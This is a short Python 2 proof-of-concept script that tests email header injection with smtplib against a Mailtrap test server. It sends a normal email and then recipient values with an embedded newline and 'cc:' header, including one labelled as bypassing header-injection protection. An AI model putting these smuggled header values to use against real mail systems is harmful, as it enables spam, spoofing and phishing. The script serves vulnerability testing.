import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText


settings = {
	'username' : 'USERNAME',
	'domain' : 'mailtrap.io',
	'password' : 'PASSWORD',
	'host' : 'smtp.mailtrap.io',
	'port' : 2525
}

def sendEmail(msg_to):
	msg = MIMEMultipart('alternative')
	msg['Subject'] = 'Subject123'
	msg['From'] = settings['username'] + settings['domain']
	msg['To'] = msg_to
	msg.attach(MIMEText('Proof of Concept', 'plain'))

	smtp_server = smtplib.SMTP(settings['host'], port=settings['port'])
	smtp_server.starttls()
	smtp_server.login(settings['username'], settings['password'])
	smtp_server.sendmail(settings['username']+settings['domain'],msg_to, msg.as_string())
	return [msg_to]
print "Seinding Test Email"
try:
	print sendEmail('example@python.org')
except Exception as e:  
	print "ERROR:" +str(e)
print "Sending Injected Email Header:"	
try:
	print sendEmail('example@python.org\ncc: example@python.org')
except Exception as e: 
	print "ERROR:" +str(e)
print "Bypassing Header Injection Protection"
try:
	print sendEmail('example@python.org\ncc :example@python.org')
except Exception as e: 
	print "ERROR:" +str(e)